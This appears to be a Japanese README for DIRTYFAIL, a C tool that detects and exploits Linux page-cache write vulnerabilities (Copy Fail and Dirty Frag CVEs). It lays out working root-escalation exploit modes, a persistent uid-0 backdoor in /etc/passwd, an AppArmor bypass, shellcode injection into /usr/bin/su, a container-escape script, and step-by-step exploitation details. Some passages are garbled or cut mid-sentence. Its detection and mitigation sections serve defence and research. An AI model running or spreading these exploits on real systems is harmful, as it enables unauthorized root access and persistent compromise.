
Linux page-cache 書き込み脆弱性の Detector + PoC: Copy Fail (CVE-2026-31431) および Dirty Frag (CVE-2026-43284/43500)。認可されたセキュリティ研究のみ。
Copy Fail および Dirty Frag Linux ページキャッシュ書き込み脆弱性ファミリーのための統合検出器および PoC ハーネス。``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝
DIRTYFAILは、セキュリティ研究者向けの小さく、十分に文書化されたCツールです。
このファミリーの3つのCVEに対してLinuxホストが脆弱かどうかを検出し、明示的でタイプされた確認をもって、脆弱なシステム上で呼び出し元をrootシェルに落とす実際の概念実証を実行します。
| CVE / バリアント | 名称 | DIRTYFAILのカバレッジ |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` ページキャッシュ書き込み) | 検出 + 完全なPoC |
| **CVE-2026-43284 v4** | Dirty Frag — IPv4 xfrm-ESP ページキャッシュ書き込み | 検出 + 完全なPoC |
| **CVE-2026-43284 v6** | Dirty Frag — IPv6 xfrm-ESP ページキャッシュ書き込み (`esp6`) | 検出 + 完全なPoC |
| **CVE-2026-43500** | Dirty Frag — RxRPC ページキャッシュ書き込み | 検出 + 完全なPoC |
| Copy Fail GCM バリアント | xfrm-ESP `rfc4106(gcm(aes))` ページキャッシュ書き込み | 検出 + 完全なPoC |
**ボーナスモード:**
- **`--scan --active`** — sentinel-STORE アクティブプローブ。デフォルトの`--scan`はCVEごとの前提条件(カーネル、モジュール、LSMの状態)に加えて、Copy Failプリミティブのアクティブプローブを報告します。`--active`を追加すると、sentinel-file STOREプローブを他の4つのプリミティブ(ESP v4、ESP v6、RxRPC、GCM)に拡張します。各プリミティブは`/tmp`内のセンチネルに対してカーネルトリガーを発火し、マーカーバイトが実際に到達した場合のみVULNERABLEを報告します。これにより、バックポートパッチが適用されたカーネル(前提条件は脆弱性ありと示すがプローブは影響なし)と、完全なエクスプロイトを実行せずにパッチ未適用のカーネルを区別する唯一の方法です。`/etc/passwd`は決して触れられません。V6 STOREシフトをカーネルビルドごとに自動調整します。
- **`--exploit-backdoor`** — 永続的なuid-0バックドア:`/etc/passwd`内の`nologin`/`false`/`sync`行と長さを一致させて`dirtyfail::0:0:<pad>:/:/bin/bash`で上書きします。シェル終了後もページが排除されるまで持続します。状態は`/var/tmp/.dirtyfail.state`に保存され、`--cleanup-backdoor`でクリーンアップできます。`dirtyfail`というユーザー名は、このプロジェクトに意図的に一致させてあるため、監査ですぐに識別可能です — 許可されたレッドチームのエンゲージメントのために異なる識別子が必要な場合は、`src/backdoor.c`の`NEW_USER`を変更してください。
- **AppArmorバイパス** — Ubuntuの`apparmor_restrict_unprivileged_userns=1`ポリシーを、シングルホップの`change_onexec("crun")`再実行によって、userns機能を保持する非制約プロファイルに遷移して無効化します。各エクスプロイトモードはこれをフォークを介して内部的に処理します。親はinit名前空間に留まり、子がバイパスダンスを実行し、親はグローバルページキャッシュを読み取り、実際のinit名前空間のrootになるために`su`を実行します。レガシーな`--aa-bypass`フラグは、バイパス機構を単独でデバッグするために依然として存在します。詳細は[§8.5 アーキテクチャ](#85-architecture-outerinner-fork-based-bypass)を参照してください。
## 動作確認済み環境
DIRTYFAILは、複数のディストリビューションとカーネルバージョンにわたって**経験的にエンドツーエンドで検証**されています。以下のマトリックスは、各ディストリビューションの新規インストールに対して各`--exploit-*`モードを実行した結果を反映しています。
| ディストリビューション | カーネル | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | バックドア | SU シェルコード |
|---|---|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡² | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (テストなし) |
| Debian 13.4 | `6.12.86+deb13` | なし | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (強化) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |
**凡例:** ✅ エクスプロイト成功し、実際のinit名前空間rootを獲得 · 🛡 緩和済み — エクスプロイトがカーネルバグに到達できない(カーネルにパッチ適用済み、またはLSMが非特権パスをブロック) · ⏭ 該当なし(前提条件不足)
### アクティブプローブ検証 (`--scan --active`)
`--active`フラグは、検出中にCVEごとにセンチネルファイルSTOREプローブを追加します。上記と同一の4つのディストリビューション(Debian、Fedora、AlmaLinux、Ubuntu 26.04)に対してプローブ出力を検証しました。以下のマトリックスは、モードごとのプローブ判定を示し、完全なエクスプロイトの真実と一対一で一致しています:
| ディストリビューション | Copy Fail プローブ | ESP v4 プローブ | ESP v6 プローブ | RxRPC プローブ | GCM プローブ |
|---|:-:|:-:|:-:|:-:|:-:|
| Debian 13.4 | 無傷 🛡 | 無傷 🛡 | 無傷 🛡 | 無傷 🛡 | 無傷 🛡 |
| Fedora 44 | マーカー@0 ✅ | STORE @0 ✅ | STORE @8 ✅ | バイト変化 ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | マーカー@0 ✅ | STORE @0 ✅ | STORE @8 ✅ | 前提条件 ⏭ | sentinel変更 ✅ |
| Ubuntu 26.04 | 無傷 🛡 | LSMブロック 🛡 | LSMブロック 🛡 | LSMブロック 🛡 | LSMブロック 🛡 |
V6プローブのSTOREランディングオフセット(FedoraとAlmaでは8)は、`calibrate_v6_shift()`が実行時に発見する経験的な`V6_STORE_SHIFT`と一致しており、自動調整が以前のハードコードされた定数をカーネルビルド間で正しく置き換えることを確認しています。
¹ GCMとバックドアは`algif_aead`がロード可能である必要があります。Ubuntu 24.04は`/etc/modprobe.d/disable-algif_aead.conf`をCopy Fail緩和措置としてブラックリストに登録して出荷しています。ブラックリストが削除された場合(例:緩和措置以前のカーネル上)、両方のモードがエンドツーエンドで動作します。
² Copy Failのalgif_aeadパスはmodprobeブラックリストによって緩和されています。基礎となるカーネルのCVEプリミティブは、`authencesn`に到達可能かどうかに関わらず同じです。xfrm-ESP、RxRPC、およびGCMバリアントはすべて同じカーネルに到達します。これらはalgif_aeadを経由しないためです。
³ AlmaLinux 10の`kernel-modules-extra`パッケージはMinimalインストールではデフォルトでインストールされないため、`rxrpc.ko`がディスク上に存在しません。EPELまたはAlmaLinux extrasリポジトリから`kernel-modules-extra-$(uname -r)`をインストールするとモジュールが戻ります。標準の最小インストールではRxRPCは到達不可能です。
⁴ **Ubuntu 26.04 LTSは非特権での悪用を包括的にブロックしています。** 出荷カーネル`7.0.0-15.15`(2026-04-22リリース)は、メインラインパッチ`f4c50a4034e6`(2026-05-07マージ)より**約2週間前**です — つまり、バグは依然としてカーネルに存在します。Ubuntuの防御は**AppArmor強化による多層防御**であり、カーネルパッチではありません:
- `apparmor_restrict_unprivileged_userns=1`がデフォルトで有効です。
- `unshare(CLONE_NEWUSER)`時に、カーネルレベルのAppArmor強制は、`(unconfined)`フラグ付きのプロファイル(`crun`、`chrome`、デフォルトの`unconfined`など)も含めて、自動的に`<profile>//&unprivileged_userns (mixed)`サブプロファイルに遷移し、`audit deny capability`を持ちます。新しいuserns内のuid 0はcapsを取得しません。
- 別のプロファイルへの`change_onexec`は役に立ちません — `crun`プロファイル(明示的な`userns,`許可と`flags=(unconfined)`を持つ)でさえ、unshare時に自動遷移します。`aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`で確認 → `crun//&unprivileged_userns (mixed)`。
- `newuidmap`/`newgidmap`(setuid root)はuid_mapの書き込みに成功しますが、`setresuid(0)`は成功する一方で、`ioctl(SIOCSIFFLAGS)`およびその他すべてのCAP_NET_ADMINでゲートされたsyscallはEPERMを返します。これは、機能拒否が名前空間ごとであり、uidごとではないためです。
DIRTYFAILバイナリは正しくバイパスを仕掛け、ステージ2に到達しますが、新しいuserns内でCAP_NET_ADMINを獲得できません。バイパス技術に関わらず、エクスプロイトインフラストラクチャはLSM層でブロックされます。`change_onexec(crun)`、`change_onexec(chrome)`、`aa-exec -p <profile>`、直接の`unshare(USER|NET) + newuidmap`をテストしました — すべて同じ`unprivileged_userns`サブプロファイルを生成します。
**これはCanonicalによる優れたセキュリティ作業です。** このバグクラスは、カーネルの再構築を必要とせずに非特権ユーザーに対して緩和されます。その後の安定版アップデートでカーネルパッチ自体も適用される可能性が高く、防御が完成します。
⁵ **`--exploit-su`シェルコードインジェクション**は、同じCopy Fail algif_aead 4バイトプリミティブ(`cf_4byte_write`)に依存します。Copy Failがパッチ適用されている(Debian 13.4)またはLSMブロックされている(Ubuntu 26.04 — ただしalgif_aeadパスも7.0.0-15でパッチ済み)カーネルでは、投入は実行されますが、検証ステップが失敗し(「ページキャッシュが投入されたシェルコードと一致しません」)、自動復元によって`/usr/bin/su`が復元されます。AlmaLinux 10.1(ファイルオフセット`0x45b0`のエントリポイント)とFedora 44(オフセット`0x1b60`)でエンドツーエンドテスト済み。ELFパーサーは各ディストリビューションのPIEベースを独立して処理します。Fedora 44での実際のroot証明:`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`。
テスト再現性:
- 各ディストリビューションをクリーンなISOから再インストールし、SSHキー認証 + NOPASSWD sudoを設定し、各々でDIRTYFAILをクローンしてビルドし、`clean-build` Parallelsスナップショットを取得してから、`--no-shell`(fadvise + drop_cachesによる自動復元)を付けて5つのエクスプロイトモードすべてを実行しました。
- 経験的な結果行は、実際の`--exploit-*`出力を解析し、成功シグナルを探すことで導出されています:`page cache now reports <user> with uid 0`、`root password field is now empty`、`is now uid 0`(バックドア)、またはいずれかの失敗パターン(`write did not land`、`byte flip failed`、`setresuid: Invalid`、`add_rxrpc_key: No such device`、`page cache not in expected shape`)。
- RxRPCとバックドアの「実際のroot」検証では、`echo "" | su - root` / `echo "" | su - dirtyfail`を実行し、`uid=0(root)`および`/etc/shadow`の読み取り成功を確認しました。
> **許可されたテストのみ。** 自分が所有しているか、評価のために明示的にエンゲージされているシステムでのみDIRTYFAILを使用してください。エクスプロイトモードは、`/etc/passwd`を*カーネルページキャッシュ内で*破損します(ディスク上のファイルは決して触れません)。クリーンアップは`dirtyfail --cleanup`または`echo 3 > /proc/sys/vm/drop_caches`で行います。
---
## 目次
1. [バグクラス](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
- [4.5 アーキテクチャ概要](#45-architecture-overview)
5. [ビルド](#5-build)
6. [使用法](#6-usage)
7. [DIRTYFAILが各CVEを検出する方法](#7-how-dirtyfail-detects-each-cve)
8. [DIRTYFAILが各CVEを悪用する方法](#8-how-dirtyfail-exploits-each-cve)
- [8.5 アーキテクチャ: 外部/内部フォークベースのバイパス](#85-architecture-outerinner-fork-based-bypass)
9. [緩和策](#9-mitigations)
10. [倫理と開示](#10-ethics--disclosure)
11. [謝辞](#11-credits)
**付属ドキュメント:**
- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/DEFENDERS.md) — システム管理者向けプレイブック: 脆弱かどうか、緩和方法、監視すべきもの。
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/main/docs/RESEARCH.md) — 同じバグクラスに対する隣接パス(AH、IPCOMP、MACsec、kTLSなど)のカーネルソース監査。
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-check.sh) — スタンドアロンのbash検出器(コンパイル不要)。
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/main/tools/99-dirtyfail.rules) — エクスプロイトチェーン用の即時読み込み可能なauditdルール。
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/main/tools/dirtyfail-container-escape.sh) — 名前空間間の爆発半径デモ。
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/main/tools/exploit_su_aarch64.S) — `--exploit-su`用のaarch64 (ARM64)シェルコードソース。ハードウェア未テスト。`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`でゲートされた状態で出荷。`aarch64-linux-gnu-as`を使用して`src/exploit_su.c`内の対応するバイトを再生成して検証してください。
---
## 1. バグクラス
**ページキャッシュ書き込み**脆弱性により、非特権ユーザーが読み取り専用アクセスしか持たないファイルのカーネルメモリ内コピーを変更できます。ディスク上のファイルは決して書き込まれません。変更は、ページが排除される(`drop_caches`、メモリ不足、または再起動)までRAMに残ります。
このクラスは、`pipe_buffer`フラグを悪用した**Dirty Pipe** (CVE-2022-0847) から始まりました。Copy FailとDirty Fragはその子孫であり、代わりに`struct sk_buff`の`frag`メンバーを標的としています。メカニズムは常に同じです:
1. ユーザー空間が、読み取り可能なファイル(例:`/etc/passwd`、`/usr/bin/su`)からページキャッシュページを`sp lice()`でカーネルバッファのfragに送り込みます。
2. 受信パスがそのバッファに対して**インプレース**暗号化を実行します — 同じページが操作のソースとデスティネーションの両方になります。
3. 暗号化ルーチンが、データ領域外に「スクラッチ」STORE(シーケンス番号の再配置、単一ブロックの復号など)を実行し、それがユーザーがピン留めしたページ内に着地します。
4. これにより、ファイルのページキャッシュコピーが、ホスト上のすべてのリーダーに対して、ページが排除されるまで恒久的に変更されます。
このバグは**決定的な論理的欠陥**であり、競合状態ではないため、成功率は本質的に100%であり、失敗してもカーネルはパニックになりません。
---
## 2. CVE-2026-31431 — Copy Fail
* 開示: **2026-04-29**
* サイト: <https://copy.fail/>
* オリジナルPoC (C): [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* オリジナルPoC (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* 導入コミット: `72548b093ee3` (2017)
* 修正コミット: `a664bf3d` (mainline 6.12 / 6.17 / 6.18 stables)
* 影響確認済み: Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 14.3、SUSE 16
### 根本原因
カーネルの`algif_aead`モジュールは、AEAD暗号APIを`AF_ALG`経由でユーザー空間に公開します。`authencesn(hmac(sha256), cbc(aes))`テンプレートはRFC-4303 ESN(拡張シーケンス番号)を実装します。その復号パスの一部は、シーケンス番号を再配置するために**4バイトのスクラッチ書き込み**を実行します。```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
/* Move high-order bits of sequence number to the end. */
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ★
...
通常のIPsecパケットでは、★でのSTOREは無害です。これはskbのタグ領域内に配置され、カーネルが所有しています。暗号テンプレートは、srcとdstがカーネルメモリを指していることを前提としています。
algif_aeadはその前提に違反します。ユーザ空間からのsplice()を受け入れ、それによってページキャッシュページがリクエストのスキャッタリストに配置されます。AEADがインプレースで動作するため(req->dst = req->src)、ページキャッシュページはスクラッチ書き込みのターゲットとなる先のスキャッタリストオフセットに配置されます。
書き込まれる4バイトは、ユーザ空間が送信したAADのバイト4..7、つまりESPヘッダの"seqno_lo"フィールドであり、攻撃者は任意の値で埋めることができます。
ネットプリミティブ: 攻撃者がopen(O_RDONLY)できる任意のファイルのページキャッシュへの4バイト任意オフセット書き込み。
最も単純な武器化は/etc/passwdです。通常のユーザ行は次のようになります:```
kara❌1000:1000:Kara,,,:/home/kara:/bin/bash
Flipping `1000` (UIDフィールド、任意のUID 1000–9999に対して正確に4 ASCIIバイト) を `0000` に変更すると、glibcの `getpwnam()` はそのユーザーのuid=0を報告するようになります。しかし、PAMは依然としてディスク上の `/etc/shadow`(変更されていない)に対して認証を行うため、`su <user>` は実際のパスワードを要求し、検証後に `setuid(0)` を実行します。すると、ページキャッシュ内の `/etc/passwd` のコピーが自分はrootであると示すため、rootになってしまいます。
`/etc/shadow` の整合性は保たれます。ディスク上の `/etc/passwd` も保たれます。破損するのはカーネルのRAM内の `/etc/passwd` のコピーだけで、`drop_caches` または再起動まで持続します。
---
## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)
* 開示日: **2026-04-30 → 2026-05-08**
* オリジナルPoC (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* 研究者: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* 導入コミット: `cac2661c53f3` (2017-01-17)
* 修正コミット: `f4c50a4034e6` (mainline net.git, 2026-05-07 にマージ)
* 影響確認: Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
CentOS Stream 10, AlmaLinux 10, Fedora 44
### 根本原因
`esp_input()` は、skbが非線形(つまりフラグがある)場合、インプレースAEAD復号の前に `skb_cow_data()` を呼び出すことになっています。このコードパスにはショートサーキットがあります:```c
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) { // ★ bug
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow;
}
}
skbにfragsがあるがfrag_listがない場合、esp_inputはskb_cow_dataをバイパスし、ユーザー提供のfragを直接AEADテンプレートに渡します。Copy Failを引き起こすauthencesn(...)のスクラッチ書き込みが、結合されたページのファイルオフセット(assoclen + cryptlen)に書き込まれます。
4バイトのSTORE値は、SAのreplay_esn状態のseq_hiです。これはXFRMA_REPLAY_ESN_VAL netlink属性を介してSA登録時に攻撃者が制御できます。
コスト: XFRM SAの登録にはCAP_NET_ADMINが必要なため、攻撃者はまずunshare(CLONE_NEWUSER)を介して新しいユーザーネームスペースに入ります。これはほとんどのディストリビューションでデフォルトで許可されています(Ubuntuのハードニングプロファイルは注目すべき例外です)。
重要なことに、このプリミティブはalgif_aeadのCopy Fail緩和策が有効な場合でも機能します — xfrmパスはalgif_aeadを経由しません。algif_aeadのみをブラックリストに登録した防御者は、依然としてDirty Fragに対して脆弱です。
V4bel氏が公開したPoCは、48回の連続した4バイトSTOREを使用して、/usr/bin/suのページキャッシュの最初の192バイトに192バイトの静的「root-shell」ELFを書き込みます。変更後、execve("/usr/bin/su")はsetuid-rootビットをそのままにして新しいELFエントリポイントを実行し、PAMを完全にドロップし、シェルコード内からexecve("/bin/sh")を実行します。
DIRTYFAILは、よりシンプルな/etc/passwdのUIDフリップアプローチ(1回の4バイトSTORE — Copy Failと同じターゲット)を採用しています。理由は2つあります:
POSIX_FADV_DONTNEEDで完全に元に戻すことができ、システム上の他のユーザーに対して/usr/bin/suを破損状態のままにしません。lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/2dc334f1a63a (2023-06)rxkad_verify_packet_1()は、RxRPCデータパケットの最初の8バイトに対してインプレースのpcbc(fcrypt)単一ブロック復号を実行します:```c
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
memset(&iv, 0, sizeof(iv));
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst
ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE
ページキャッシュページがskbのフラグメントにスプライスされた場合、その上で8バイトの復号が実行されます。
**xfrm-ESPとの違い**: STOREされる8バイトは `fcrypt_decrypt(C, K)` です。ここで `C` はそのファイルオフセットに存在する暗号文、`K` は攻撃者が `add_key("rxrpc", ...)` で登録したRxRPC v1トークンからのセッション鍵です。攻撃者はSTORE値を直接制御できません — 望ましい平文が得られるまで `K` を総当たりで探索する必要があります。
`fcrypt` はAndrew File Systemの暗号であり、**56ビット鍵**と8バイトブロックを持ちます。決定論的であり、ユーザ空間へ簡単に移植できます。鍵空間は十分に小さく、制約された8バイトターゲットであれば、制約予算に応じてミリ秒から秒単位で総当たりが可能です。
**重要な点として、このパスは名前空間の特権を必要としません** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` はすべて非特権ユーザが利用可能です。 `rxrpc.ko` がデフォルトのUbuntuビルドに含まれているため、RxRPCはUbuntuのhardened-usernsプロファイル(xfrm-ESPがブロックされる)でのギャップを埋めます。
### Exploitation
完全なエクスプロイト:
1. ユーザ空間で `K_A`, `K_B`, `K_C` を総当たりし、`/etc/passwd` のオフセット4, 6, 8における3つのSTOREがそれぞれ `"::"`, `"0:"`, `"0:GGGGGG:"` を生成するようにします (最後の書き込みが優先)。
2. 各 `K_i` について、`add_key` でRxRPC v1トークンを登録し、同一プロセス内の偽のUDPサーバに対して偽装されたAF_RXRPCハンドシェイクを実行し、spliceを介して `rxkad_verify_packet_1` をトリガします。
3. `/etc/passwd` の1行目のページキャッシュコピーは `root::0:0:GGGGGG:/root:/bin/bash` になります — パスワードフィールドが空です。
4. `pam_unix.so nullok` を設定したPAMは空のパスワードを受け入れます。`su -` でrootシェルが得られます。
### DIRTYFAIL coverage
DIRTYFAILはこのCVEに対する検出と完全なPoCの**両方**を提供します。
DIRTYFAILの実装は `src/dirtyfrag_rxrpc.c` と `src/fcrypt.c` にあります:
- **fcrypt暗号** (`fcrypt.c`): 56ビット鍵、8バイトブロック、16ラウンドFeistel構造。標準のrxkadプロトコルのSボックスを使用。呼び出し元が指定する述語を満たす候補平文が見つかるまで鍵空間を探索するシングルコア総当たりハーネス (約18 Mops/s) を含む。
- **rxkadチェックサム** (`compute_csum_iv`, `compute_cksum`): カーネルの式をAF_ALG `pcbc(fcrypt)` で再現し、偽造DATAパケットのワイヤチェックサムが `rxkad_verify_packet` のゲートを通過するようにします。
- **RxRPC v1トークン構築** (`build_rxrpc_v1_token`): 総当たりで得たセッション鍵を使用して `add_key("rxrpc", ...)` で登録するXDRエンコードされたrxkadトークン。
- **AF_RXRPCクライアント + UDP偽サーバ**: クライアントが呼び出しを開始し、偽サーバが最初のパケットから(epoch, cid, callNumber)を抽出し、偽装されたCHALLENGEを送信してクライアントが `conn->rxkad.cipher` を鍵で初期化するようにします。
- **スプライストリガ** (`do_one_trigger`): vmspliceで偽造DATAワイヤヘッダ → `/etc/passwd` から8バイトをスプライス → パイプにスプライス → udp_srv → recvmsgがカーネルを `rxkad_verify_packet_1` 経由で駆動 → 8バイトSTORE。
- **チェイン暗号文補正付き3スプライスチェーン**: K_A / K_B / K_Cを総当たりし、パス間でチェイン暗号文のシフトを適用 (スプライスAがバイト4..11を上書きした後、スプライスBの暗号文は6..13から始まり `P_A[2..7]` で開始。CとBも同様)。
最終的なPoCは `/etc/passwd` の1行目を次のように変更します:
`root::0:0:GGGGGG:/root:/bin/bash````
root::0:0:GGGGG:/root:/bin/bash
"— 空のパスワードフィールド — と execlp("su", "-") により、ルート
シェルが取得される。これは pam_unix.so nullok が空のパスワードを受け入れるためである。
上流のPoCとの比較・検証のために、
V4belの exp.c を参照のこと:https://github.com/V4bel/dirtyfrag.
DIRTYFAILは約10のソースモジュールから構成される単一のCバイナリである。高 レベルの構造:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘
Per-CVE primitives (each has detect/exploit/exploit_inner functions):
┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘
**主要な設計判断:**
- **外部/内部分割**: 各エクスプロイトはカーネル作業のために子プロセスをフォークします。親はinit名前空間に留まり、最終的な `execlp("su", user)` が実際のinit-nsルートに到達できるようにします。[§8.5 アーキテクチャ](#85-architecture-outerinner-fork-based-bypass)を参照。
- **ページキャッシュはグローバル**: 子プロセスはバイパスしたuserns内から書き込み、親はinit名前空間から読み取ります。同じバイトが可視です。
- **環境変数が親→子状態を伝達**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` など (バックドア)。`execv` はステージ遷移間で環境を保持します。
- **防御的な補助ツール**: `--mitigate` は、ディストリビューションが公式の緩和策として提供するのと同じブラックリスト + sysctl 強化を展開します。`--scan` はケーパビリティがLSMによってブロックされている場合を検出し、誤解を招く「VULNERABLE preconditions met」ではなく「mitigated」と報告します。
---
## 5. ビルド
### 前提条件
* **Linux** (このバイナリは実行時にLinuxのみ対応).
* `gcc` または `clang`、`make`.
* Linux UAPI ヘッダ — 具体的には `<linux/xfrm.h>`, `<linux/netlink.h>`,
`<linux/rtnetlink.h>`, `<linux/if.h>`.
| ディストリビューション | インストールコマンド |
|------------------------|------------------------------------------------------|
| Debian / Ubuntu | `sudo apt install build-essential linux-libc-dev` |
| RHEL / CentOS | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora | `sudo dnf install gcc make kernel-headers` |
| Arch | `sudo pacman -S base-devel` |
### ビルドコマンド```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make # release build → ./dirtyfail
make debug # -O0 -g3 for gdb
make static # static link (musl-gcc recommended)
make clean
デフォルトのビルドでは、./dirtyfail に約80KBの単一バイナリが生成されます。
glibcの依存性のずれなしに、カーネル互換のLinux上で動作するポータブルビルドの場合:```sh
make static CC=musl-gcc
(Debian/Ubuntuでは`musl-tools`をインストールするか、muslをソースからビルドしてください)。
---
## 6. 使用法
`./dirtyfail --help` が正規のリファレンスです。モードをカテゴリ別に示します:
**検出(安全、システム変更なし):**
| モード | 機能 |
|---|---|
| `--scan` | 5つの検出器全てを実行(デフォルトモード) |
| `--scan --active` | CVEごとにセンチネルファイルSTOREプローブを追加 — 前提条件充足と実際に悪用可能の区別 |
| `--scan --json` | 単一のJSONオブジェクトをstdoutに出力(SIEM対応);ログはstderrへ |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | CVEごとの検出のみ |
**悪用(タイプ確認によるゲート付き;`/etc/passwd`ページキャッシュを破壊):**
| モード | 機能 |
|---|---|
| `--exploit-copyfail` | `algif_aead` 4バイトプリミティブによるUID反転 |
| `--exploit-esp` | xfrm-ESP v4によるUID反転(userns+CAP_NET_ADMINが必要) |
| `--exploit-esp6` | xfrm-ESP v6によるUID反転 |
| `--exploit-rxrpc` | rxkad fcryptブルートフォースによる空のrootパスワードフィールド |
| `--exploit-gcm` | `rfc4106(gcm(aes))` 1バイトプリミティブによるUID反転 |
| `--exploit-backdoor` | 永続的:`dirtyfail::0:0:...:/:/bin/bash` を挿入 |
| `--exploit-su` | V4bel方式:`/usr/bin/su`エントリポイントにアーキテクチャ固有のシェルコードを配置。x86_64はエンドツーエンドでテスト済み;aarch64はハードウェア未テスト(`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` の後ろにゲート) |
**クリーンアップ/状態検査:**
| モード | 機能 |
|---|---|
| `--cleanup` | `/etc/passwd`をページキャッシュから追い出す(`fadvise` + `drop_caches`(rootの場合)) |
| `--cleanup-backdoor` | 状態ファイルから元の`/etc/passwd`行を復元 |
